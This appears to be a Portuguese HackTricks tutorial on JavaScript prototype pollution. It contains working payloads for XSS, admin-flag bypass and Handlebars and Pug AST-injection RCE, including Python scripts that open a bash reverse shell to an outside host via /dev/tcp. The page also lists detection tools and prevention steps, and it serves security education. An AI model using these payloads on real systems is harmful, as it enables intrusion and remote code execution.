NodeJS - __proto__ & poluição de protótipos
Reading time: 13 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Objetos em JavaScript
Objetos em JavaScript são essencialmente coleções de pares chave-valor, conhecidos como propriedades. Um objeto pode ser criado usando Object.create
com null
como argumento para produzir um objeto vazio. Este método permite a criação de um objeto sem propriedades herdadas.
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
Um objeto vazio é semelhante a um dicionário vazio, representado como {}
.
Funções e Classes em JavaScript
Em JavaScript, classes e funções estão intimamente ligadas, com funções frequentemente servindo como construtores para classes. Apesar da falta de suporte nativo a classes no JavaScript, construtores podem emular o comportamento de classes.
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
Prototipagem em JavaScript
JavaScript permite a modificação, adição ou exclusão de atributos de protótipo em tempo de execução. Essa flexibilidade possibilita a extensão dinâmica das funcionalidades de classes.
Funções como toString
e valueOf
podem ser alteradas para mudar seu comportamento, demonstrando a natureza adaptável do sistema de protótipos do JavaScript.
Herança
Na programação baseada em protótipos, propriedades/métodos são herdados por objetos de classes. Essas classes são criadas adicionando propriedades/métodos a uma instância de outra classe ou a um objeto vazio.
Deve-se notar que, quando uma propriedade é adicionada a um objeto que serve como protótipo para outros objetos (como myPersonObj
), os objetos herdantes ganham acesso a essa nova propriedade. No entanto, essa propriedade não é exibida automaticamente, a menos que seja invocada explicitamente.
__proto__ poluição
Explorando a Poluição de Protótipos em JavaScript
Objetos JavaScript são definidos por pares chave-valor e herdam do protótipo do Objeto JavaScript. Isso significa que alterar o protótipo do Objeto pode influenciar todos os objetos no ambiente.
Vamos usar um exemplo diferente para ilustrar:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
O acesso ao protótipo Object é possível através de:
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
Ao adicionar propriedades ao protótipo do Object, todo objeto JavaScript herdará essas novas propriedades:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
poluição de protótipo
Para um cenário onde o uso de __proto__
é restrito, modificar o protótipo de uma função é uma alternativa:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
Isso afeta apenas objetos criados a partir do construtor Vehicle
, dando a eles as propriedades beep
, hasWheels
, honk
e isElectric
.
Duas maneiras de afetar globalmente objetos JavaScript através da poluição de protótipos incluem:
- Poluir o
Object.prototype
diretamente:
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
- Poluindo o protótipo de um construtor para uma estrutura comumente usada:
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}
Após essas operações, cada objeto JavaScript pode executar os métodos goodbye
e greet
.
Poluindo outros objetos
De uma classe para Object.prototype
Em um cenário onde você pode poluir um objeto específico e precisa chegar a Object.prototype
, você pode procurá-lo com algo como o seguinte código:
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
Poluição de elementos de array
Note que, assim como você pode poluir atributos de objetos em JS, se você tiver acesso para poluir um array, você também pode poluir valores do array acessíveis por índices (note que você não pode sobrescrever valores, então você precisa poluir índices que são de alguma forma utilizados, mas não escritos).
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
Poluição de elementos Html
Ao gerar um elemento HTML via JS, é possível sobrescrever o atributo innerHTML
para fazer com que ele escreva código HTML arbitrário. Ideia e exemplo deste artigo.
// Create element
devSettings["root"] = document.createElement('main')
// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
Exemplos
Exemplo Básico
Uma poluição de protótipo ocorre devido a uma falha na aplicação que permite sobrescrever propriedades em Object.prototype
. Isso significa que, uma vez que a maioria dos objetos deriva suas propriedades de Object.prototype
O exemplo mais fácil é adicionar um valor a um atributo indefinido de um objeto que será verificado, como:
if (user.admin) {
Se o atributo admin
está indefinido, é possível abusar de um PP e defini-lo como True com algo como:
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
O mecanismo por trás disso envolve manipular propriedades de forma que, se um atacante tiver controle sobre certas entradas, ele pode modificar o protótipo de todos os objetos na aplicação. Essa manipulação geralmente envolve definir a propriedade __proto__
, que, em JavaScript, é sinônimo de modificar diretamente o protótipo de um objeto.
As condições sob as quais esse ataque pode ser executado com sucesso, conforme descrito em um estudo específico, incluem:
- Realizar uma mesclagem recursiva.
- Definir propriedades com base em um caminho.
- Clonar objetos.
Função de substituição
customer.__proto__.toString = ()=>{alert("polluted")}
Poluição de Proto para RCE
Outros payloads:
Poluição de protótipo do lado do cliente para XSS
Client Side Prototype Pollution
CVE-2019–11358: Ataque de poluição de protótipo através do jQuery $ .extend
Para mais detalhes, consulte este artigo No jQuery, a função $ .extend
pode levar à poluição de protótipo se o recurso de cópia profunda for utilizado de forma inadequada. Esta função é comumente usada para clonar objetos ou mesclar propriedades de um objeto padrão. No entanto, quando mal configurada, propriedades destinadas a um novo objeto podem ser atribuídas ao protótipo em vez disso. Por exemplo:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
Esta vulnerabilidade, identificada como CVE-2019–11358, ilustra como uma cópia profunda pode inadvertidamente modificar o protótipo, levando a potenciais riscos de segurança, como acesso não autorizado de administrador se propriedades como isAdmin
forem verificadas sem a devida verificação de existência.
CVE-2018–3721, CVE-2019–10744: Ataque de poluição de protótipo através do lodash
Para mais detalhes, consulte este artigo
Lodash encontrou vulnerabilidades semelhantes de poluição de protótipo (CVE-2018–3721, CVE-2019–10744). Esses problemas foram resolvidos na versão 4.17.11.
Outro tutorial com CVEs
Ferramentas para detectar Poluição de Protótipo
- Server-Side-Prototype-Pollution-Gadgets-Scanner: Extensão do Burp Suite projetada para detectar e analisar vulnerabilidades de poluição de protótipo do lado do servidor em aplicações web. Esta ferramenta automatiza o processo de escaneamento de requisições para identificar potenciais problemas de poluição de protótipo. Ela explora gadgets conhecidos - métodos de aproveitamento da poluição de protótipo para executar ações prejudiciais - focando particularmente em bibliotecas Node.js.
- server-side-prototype-pollution: Esta extensão identifica vulnerabilidades de poluição de protótipo do lado do servidor. Ela utiliza técnicas descritas na poluição de protótipo do lado do servidor.
Poluição de Protótipo AST em NodeJS
NodeJS utiliza extensivamente Árvores de Sintaxe Abstrata (AST) em JavaScript para funcionalidades como motores de template e TypeScript. Esta seção explora as vulnerabilidades relacionadas à poluição de protótipo em motores de template, especificamente Handlebars e Pug.
Análise de Vulnerabilidade do Handlebars
O motor de template Handlebars é suscetível a um ataque de poluição de protótipo. Esta vulnerabilidade surge de funções específicas dentro do arquivo javascript-compiler.js
. A função appendContent
, por exemplo, concatena pendingContent
se estiver presente, enquanto a função pushSource
redefine pendingContent
para undefined
após adicionar a fonte.
Processo de Exploração
A exploração aproveita o AST (Árvore de Sintaxe Abstrata) produzido pelo Handlebars, seguindo estas etapas:
- Manipulação do Parser: Inicialmente, o parser, através do nó
NumberLiteral
, impõe que os valores sejam numéricos. A poluição de protótipo pode contornar isso, permitindo a inserção de strings não numéricas. - Tratamento pelo Compilador: O compilador pode processar um Objeto AST ou um template de string. Se
input.type
for igual aProgram
, a entrada é tratada como pré-analisada, o que pode ser explorado. - Injeção de Código: Através da manipulação de
Object.prototype
, pode-se injetar código arbitrário na função de template, o que pode levar à execução remota de código.
Um exemplo demonstrando a exploração da vulnerabilidade do Handlebars:
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
Este código demonstra como um atacante poderia injetar código arbitrário em um template Handlebars.
Referência Externa: Um problema relacionado à poluição de protótipos foi encontrado na biblioteca 'flat', conforme detalhado aqui: Issue on GitHub.
Referência Externa: Issue related to prototype pollution in the 'flat' library
Exemplo de exploração de poluição de protótipos em Python:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
Vulnerabilidade do Pug
Pug, outro mecanismo de template, enfrenta um risco semelhante de poluição de protótipo. Informações detalhadas estão disponíveis na discussão sobre AST Injection in Pug.
Exemplo de poluição de protótipo no Pug:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
Medidas Preventivas
Para reduzir o risco de poluição de protótipos, as estratégias listadas abaixo podem ser empregadas:
- Imutabilidade de Objetos: O
Object.prototype
pode ser tornado imutável aplicandoObject.freeze
. - Validação de Entrada: As entradas JSON devem ser rigorosamente validadas em relação ao esquema da aplicação.
- Funções de Mesclagem Seguras: O uso inseguro de funções de mesclagem recursivas deve ser evitado.
- Objetos Sem Protótipos: Objetos sem propriedades de protótipo podem ser criados usando
Object.create(null)
. - Uso de Map: Em vez de
Object
,Map
deve ser usado para armazenar pares chave-valor. - Atualizações de Biblioteca: Correções de segurança podem ser incorporadas atualizando regularmente as bibliotecas.
- Ferramentas de Linter e Análise Estática: Use ferramentas como ESLint com plugins apropriados para detectar e prevenir vulnerabilidades de poluição de protótipos.
- Revisões de Código: Implemente revisões de código minuciosas para identificar e remediar riscos potenciais relacionados à poluição de protótipos.
- Treinamento em Segurança: Eduque os desenvolvedores sobre os riscos da poluição de protótipos e as melhores práticas para escrever código seguro.
- Uso Cauteloso de Bibliotecas: Tenha cautela ao usar bibliotecas de terceiros. Avalie sua postura de segurança e revise seu código, especialmente aquelas que manipulam objetos.
- Proteção em Tempo de Execução: Empregue mecanismos de proteção em tempo de execução, como o uso de pacotes npm focados em segurança que podem detectar e prevenir ataques de poluição de protótipos.
Referências
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l
- https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7
- https://blog.p6.is/AST-Injection/
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.